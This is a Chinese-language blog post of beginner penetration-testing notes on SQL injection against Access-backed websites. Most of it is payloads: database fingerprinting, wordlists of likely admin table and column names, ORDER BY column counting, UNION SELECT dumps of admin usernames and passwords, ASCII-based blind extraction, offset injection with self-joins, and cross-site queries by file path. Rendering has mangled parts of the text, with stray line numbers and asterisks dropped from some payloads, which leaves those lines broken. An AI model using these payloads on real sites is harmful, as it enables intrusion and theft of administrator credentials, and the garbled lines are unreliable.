Fork me on GitHub

渗透学习心得-基础篇

       废话就不多说了,直接上笔记内容吧!内容过于低级,大佬勿喷!

ACCESS注入篇

       本课可以用到的工具sqlmap、明小子等。

判断数据库类型

       如果查询到有msysobjects表,则证明是Access数据库:

1
2
3
and exists (select * from msysobjects)>0
```
       如果查询到有sysobjects表,则证明是sqlserver数据库:

and exists (select * from sysobjects)>0

1
2
### 判断表
       例如判断数据库有没有admin表:

and exists (select * from admin)

1
2
       查询是否有admin表,如果有则返回正常,如果没有则返回报错。
常见的表名有:

admin_user
admin_msg
admin_usr
admin_login
username
manager
manag
msg_user
msg_longin
useradmin
user_msg
userlogin
users
member

1
2
### 判断数据库列名
       例如在admin表里有admin列或者password列:

and exists (select admin from admin)或and exists (select password from admin)

1
2
3
       判断admin表里面有没有admin列或password列。如果有,则返回正常,如果没有则返回报错。
**注意:以上select后面为列名,from后面为表名**
       管理员表下常见的管理员列名:

admin
admin_user
username
users
usr
user_login
user_name
name
loginname
admin_login
msg_name

1
       管理员表下常见的密码列名:

password
pwd
pass
user_pass

1
2
### 判断字段长度
       判断字节长度即判断某个表的列数使用order by命令查询,如:

order by 10

1
2
3
4
       表示某个表有10列,如果大于10列,则返回报错,如果小于等于10则返回正常。
### 爆出密码
#### 判断非数字行,即用户名密码行
       根据order by语句爆出列长度以后,执行以下代码会返回一些数字,这些数字表示非数字类型的列。即用户名密码或者日期列。如下:

union select 1,2,3,4,5,6,7 from admin

1
2
       即表示判断admin表里面的非数字列,例如返回2、3、5这三个数字,表示第2、3、5列为非数值类型列。
如果有多个用户名密码的情况下可以加where id=*(*表示行)例如:

union select 1,2,3,4,5,6,7 from admin where id = 2 表示判断admin表中2行的非数字列。

1
2
#### 爆出密码
       根据爆出来的非数字列判断用户名密码:

union select 1,admin,password,4,5,6,7 from admin

1
2
### 番外篇
#### 判断管理员用户名长度

and (select len(admin) from admin)=5

1
2
       判断admin表里admin列里面用户名长度为5
#### 判断管理员密码长度

and(select len(password) from admin)>=5

1
2
       判断admin表里password密码长度大于等于5
#### 根据ASCII表来判断用户名和密码

and (select top 1 asc(mid(admin,1,1)) from admin)=97

1
       意思是查询admin表里面admin列里面的第一列的第一个字符是不是等于ASCII表里的97(97是ASCII里的a)

and (select top 1 asc(mid(admin,2,1)) from admin)=97

1
       意思是查询admin表里面admin列里面的第一列的第二个字符是不是等于于ASCII表里的97(97是ASCII里的a)

and (select top 1 asc(mid(password,2,1)) from admin)=50

1
2
3
       意思是查询admin表里面password列里面的第一列的第一个字符是不是等于于ASCII表里的50(50是ASCII里的2)
### 偏移注入
       当遇到得到表名以后,得不到列名就可以用偏移注入。如下:

union select 1,2,3,4,5,6,7,8,9,10,12,13,14,15,16 from admin

1
       当遇到如上这种列比较多的,在带入列名,无法爆出数据的情况下进行如下操作:

union select 1,2,3,4,5,6,7,8,9,10,12,13,14,15, from admin

1
       用星号代替列,往前推,一直推到爆出数据为止,如果推完只爆出一个数据,用户名或者密码的情况下,再执行以下数据:

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

1
       如果到13爆出了数据,那么带入公式:

16-13=3

1
       那么就在爆出数据的列-3继续便宜如下:

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

1
       如果执行以上偏移还未爆出,那就继续往前推6位继续执行如下:

union select 1,2,3,4,5,6,7,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

1
2
#### 垮库查询
       前提是知道另外一个网站的绝对路径,例如:

union select 1,2,3,4,5,6,7 from [D:\www\xydata\xycms.mdb].admin
`
       由于内容实在是太多,还有图片,需要往图床上面放,我就不一一写出来了,直接丢链接吧!有兴趣的同学自己去下载一下:下载链接,提取密码:jueq